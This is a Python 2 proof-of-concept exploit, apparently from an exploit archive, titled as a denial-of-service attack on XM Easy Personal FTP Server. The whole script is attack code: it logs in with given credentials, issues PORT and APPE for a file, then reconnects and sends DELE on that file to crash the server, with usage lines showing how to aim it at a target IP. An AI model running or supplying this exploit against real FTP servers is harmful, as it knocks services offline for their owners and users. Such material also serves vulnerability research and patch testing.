XM Easy Personal FTP Server - 'APPE' / 'DELE' Denial of Service

#!/usr/bin/python
import socket
import sys

def Usage():
print ("Usage: ./expl.py <serv_ip> <Username> <password>\n")
print ("Example:./expl.py 192.168.48.183 anonymous anonymous\n")
if len(sys.argv) <> 4:
Usage()
sys.exit(1)
else:
hostname=sys.argv[1]
username=sys.argv[2]
passwd=sys.argv[3]
test_string="a"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock_data = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect((hostname, 21))
except:
print ("Connection error!")
sys.exit(1)
r=sock.recv(1024)
print "[+] "+ r
sock.send("user %s\r\n" %username)
print "[-] "+ ("user %s\r\n" %username)
r=sock.recv(1024)
print "[+] "+ r
sock.send("pass %s\r\n" %passwd)
print "[-] "+ ("pass %s\r\n" %passwd)
r=sock.recv(1024)
print "[+] "+ r

sock_data.bind(('127.0.0.1',31339))
sock_data.listen(1)

sock.send("PORT 127,0,0,1,122,107\r\n")
print "[-] "+ ("PORT 127,0,0,1,122,107\r\n")
r=sock.recv(1024)
print "[+] "+ r

sock.send("APPE "+ test_string +"\r\n")
print "[-] "+ ("APPE "+ test_string +"\r\n")
r=sock.recv(1024)
print "[+] "+ r

sock.close()

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect((hostname, 21))
except:
print ("Connection error!")
sys.exit(1)
r=sock.recv(1024)
print "[+] "+ r
sock.send("user %s\r\n" %username)
print "[-] "+ ("user %s\r\n" %username)
r=sock.recv(1024)
print "[+] "+ r
sock.send("pass %s\r\n" %passwd)
print "[-] "+ ("pass %s\r\n" %passwd)
r=sock.recv(1024)
print "[+] "+ r

sock.send("DELE "+ test_string +"\r\n")
print "[-] "+ ("DELE "+ test_string +"\r\n")
r=sock.recv(1024)
print "[+] "+ r 

sys.exit(0);